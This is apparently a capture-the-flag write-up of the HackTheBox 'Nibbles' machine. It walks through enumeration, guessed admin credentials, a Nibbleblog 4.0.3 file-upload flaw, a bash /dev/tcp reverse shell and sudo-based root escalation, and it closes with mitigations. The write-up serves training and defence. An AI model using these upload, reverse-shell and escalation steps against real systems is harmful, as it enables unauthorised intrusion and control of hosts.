Posts Nibbles
Post
Cancel

Nibbles

Nibbles

Author: daniboomberger Date: July 23, 2021 Official writeup from the nibbles box on the hackthebox platform [Easy]

Overview

Nibbles is an easy rated box on hackthebox. It has two ports open and runs website, which we look further into after the overview. The exploit used in this box are fairly simple one of them has a rather guessy starting-point, which can frustrate CTF-Players.

Enumeration

First of all we ran the usual nmap scan against the box. Nmap displays us two common open ports 80 and 22.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ nmap -sC -sV -oA nmap/nibbles 10.10.10.75
# Nmap 7.91 scan initiated Fri Jul 23 05:26:42 2021 as: nmap -sC -sV -oA nmap/nibbles 10.10.10.75
Nmap scan report for 10.10.10.75
Host is up (0.040s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jul 23 05:26:52 2021 -- 1 IP address (1 host up) scanned in 9.66 seconds

On the port 80 we have a website running with a html header that just says Hello World!. At first seight there isn’t anything interesting on the website but after a look at the source code of the website, there is a rather unusal comment that leads us to a nibbleblog directory.

1
<b>Hello world!</b> <!-- /nibbleblog/ directory. Nothing interesting here! -->

After finding the nibbleblog we run our beloved directory buster tool gobuster against the following command http://10.10.10.75/nibbleblog/. In the gobuster command we specify the url, our wordlist and the file types php & txt.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ gobuster dir -u http://10.10.10.75/nibbleblog/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.10.75/nibbleblog/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              php,txt
[+] Timeout:                 10s
===============================================================
2021/07/23 06:10:09 Starting gobuster in directory enumeration mode
===============================================================
/index.php            (Status: 200) [Size: 2986]
/sitemap.php          (Status: 200) [Size: 401] 
/content              (Status: 301) [Size: 323] [--> http://10.10.10.75/nibbleblog/content/]
/feed.php             (Status: 200) [Size: 300]
/themes               (Status: 301) [Size: 322] [--> http://10.10.10.75/nibbleblog/themes/] 
/admin                (Status: 301) [Size: 321] [--> http://10.10.10.75/nibbleblog/admin/]  
/admin.php            (Status: 200) [Size: 1401]
/plugins              (Status: 301) [Size: 323] [--> http://10.10.10.75/nibbleblog/plugins/]
/install.php          (Status: 200) [Size: 78]
/update.php           (Status: 200) [Size: 1622]
/README               (Status: 200) [Size: 4628]                                  
/languages            (Status: 301) [Size: 325] [--> http://10.10.10.75/nibbleblog/languages/]
/LICENSE.txt          (Status: 200) [Size: 35148]
/COPYRIGHT.txt        (Status: 200) [Size: 1272] 

In the README file we receive the version of the nibbleblog cms framework.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
- http://10.10.10.75/nibbleblog/README
====== Nibbleblog ======
Version: v4.0.3
Codename: Coffee
Release date: 2014-04-01

===== System Requirements =====
* PHP v5.2 or higher
* PHP module - DOM
* PHP module - SimpleXML
* PHP module - GD
* Directory “content” writable by Apache/PHP

Optionals requirements

* PHP module - Mcrypt

<-- (daniboomberger added comment) Had more content but usless for writeup-->

Nibbleblog vulnerability

With the information which version is running, we can find an exploit for the same version. After reading the writeup about the arbritary file upload from the following resource:

  • https://curesec.com/blog/article/blog/NibbleBlog-403-Code-Execution-47.html

In the Blog there is described that we can use the My Image plugin doesn’t check the extension of the uploaded file. The plugin is also activated by default so as long no administrator disabled it it’s open to exploit. For the Exploit there are Credentials needed to login into the frameworks dashboard. Obtaining the credentials wasn’t the funniest part of the box it was just searching through directories and files on the website. In a users.xml file we se a username in plaintext and can assume there should be a password to find, which was a rabbit hole. The password was annoying since it was a guess [or maybe you can say easy password use] but nevertheless the password was nibbles.

1
2
3
4
5
6
7
8
9
10
11
12
13
# http://10.10.10.75/nibbleblog/content/private/users.xml
# Credentials: admin:nibbles
<users>
<user username="admin">
<id type="integer">0</id>
<session_fail_count type="integer">0</session_fail_count>
<session_date type="integer">1514544131</session_date>
</user>
<blacklist type="string" ip="10.10.10.1">
<date type="integer">1512964659</date>
<fail_count type="integer">1</fail_count>
</blacklist>
</users>

With the credentials we could login into the admin dashboard of the cms and use our privileges to misuse the arbritary file upload in the My Image plugin.

Arbitary File Upload

Using the plugin to upload our php shell we can use a programming mistake that wasn’t implemented into the source code for the plugin. There was no check for the extension so anybody with access to the My Image page could uploaded any sort of file extensions. As we see in the source code the $extension has the value of the uploaded file of extension, but is never checked before uploading the file on the server.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if( $plugin->init_db() ) { 
  // upload files 
  foreach($_FILES as $field_name=>$file) { 
    $extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION)); 
    $destination = PATH_PLUGINS_DB.$plugin->get_dir_name(); 
    $complete = $destination.'/'.$field_name.'.'.$extension; 

    // Upload the new file and move 
    if(move_uploaded_file($file["tmp_name"], $complete)) { 
      // Resize images if requested by the plugin 
      if(isset($_POST[$field_name.'_resize'])) { 
        $width = isset($_POST[$field_name.'_width'])?$_POST[$field_name.'_width']:200; 
        $height = isset($_POST[$field_name.'_height'])?$_POST[$field_name.'_height']:200; 
        $option = isset($_POST[$field_name.'_option'])?$_POST[$field_name.'_option']:'auto'; 
        $quality = isset($_POST[$field_name.'_quality'])?$_POST[$field_name.'_quality']:100;
        $Resize->setImage($complete, $width, $height, $option); 
        $Resize->saveImage($complete, $quality, true); 
      } 
    } 
  } 

  unset($_POST['plugin']); 

  // update fields $plugin->set_fields_db($_POST);
  Session::set_alert($_LANG['CHANGES_HAS_BEEN_SAVED_SUCCESSFULLY']); } }

By accessing ( http://localhost/nibbleblog/content/private/plugins/my_image/image.php )the uploaded file over the provided url you could get remote code execution via php code. You can use php-reverse shell and upload it to the my_image plugin.

With the help of the php code we can get a reverse shell to make it easier to find any privilege escalations. With the following code we get a usable reverse shell.

1
2
3
4
5
6
7
8
9
10
11
# to pass in the php code
$ bash -i >& /dev/tcp/<IP>/<PORT> 0>&1

# In the reverse shell
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
$ export SHELL=bash
$ export TERM=xterm-256color
$ [CTRL + Z] # Background process
$ stty raw -echo
$ fg # foreground reverse shell process
$ stty rows <ROWS> columns <Columns> 

Privilege escalation

The privilege escalation was fairly easy and was the standard PE for [easy] boxes on the hackthebox platform. Running the following code will display a file which was acessable to run as sudo without password. The File was readable and writeable.

1
2
3
4
5
6
7
8
$ sudo -l
sudo: unable to resolve host Nibbles: Connection timed out
Matching Defaults entries for nibbler on Nibbles:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nibbler may run the following commands on Nibbles:
    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh

You are able to run any script with the exact name monitor.sh in the same directory as root or you can unzip the personal.zip file and use the given directories and file to get root shell. To add your own command you can use the following.

1
2
3
$ echo "bash" >> /home/nibbler/personal/stuff/monitor.sh
$ sudo /home/nibbler/personal/stuff/monitor.sh
# root shell

Mitigations

Guessable password

In the nibbleblog vulnerability there is a guessable password needed, so the first mitigation advice is to use “secure” password, which means that they have multiple characters, numbers, alphabet and don’t have anything to do with something personal/guessable.

  • bad password: nibbles
  • better password idea: #RW&9AGpo%da*!Tuu&2pM4 (don’t use this password now just a example)

Nibbleblog “arbritary file upload” 4.0.3

The following arbritary file upload vulnerability was fixed by the lead developer of nibbleblog with an simple if statment as following in the vulnerable code. The if statement just checks if the $extension variable is jpg, gif or png and if this isn’t the case it wouldn’t upload the file to the server, which in our case would prevent the arbitary file upload.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
if( $plugin->init_db() ) { 

  // upload files 
  foreach($_FILES as $field_name=>$file) { 
    $extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION)); 
    $destination = PATH_PLUGINS_DB.$plugin->get_dir_name(); 
    $complete = $destination.'/'.$field_name.'.'.$extension;
	
	//Check if the extension is a jpg, gif or png
	//Secures our arbitary file upload vulnerability
	
	if( ($extension=='jpg') || ($extension=='gif') || ($extension=='png') )
	{
		// Upload the new file and move 
		if(move_uploaded_file($file["tmp_name"], $complete)) { 
		  // Resize images if requested by the plugin 
		  if(isset($_POST[$field_name.'_resize'])) { 
			$width = isset($_POST[$field_name.'_width'])?$_POST[$field_name.'_width']:200; 
			$height = isset($_POST[$field_name.'_height'])?$_POST[$field_name.'_height']:200; 
			$option = isset($_POST[$field_name.'_option'])?$_POST[$field_name.'_option']:'auto'; 
			$quality = isset($_POST[$field_name.'_quality'])?$_POST[$field_name.'_quality']:100;
			$Resize->setImage($complete, $width, $height, $option); 
			$Resize->saveImage($complete, $quality, true); 
		  }
	 }
    } 
  } 

  unset($_POST['plugin']); 

  // update fields $plugin->set_fields_db($_POST);
  Session::set_alert($_LANG['CHANGES_HAS_BEEN_SAVED_SUCCESSFULLY']); } }

Local privilege escalation

This privilege escalation would have been prevented easily with password protection, that means the user wouldn’t be able to run the script as root without root password. To disable the user running the script without root password you would need to delete the following out of the /etc/sudoers file.

1
nibbler ALL=(root) NOPASSWD:/home/nibbler/personal/stuff/monitor.sh
This post is licensed under CC BY 4.0 by the author.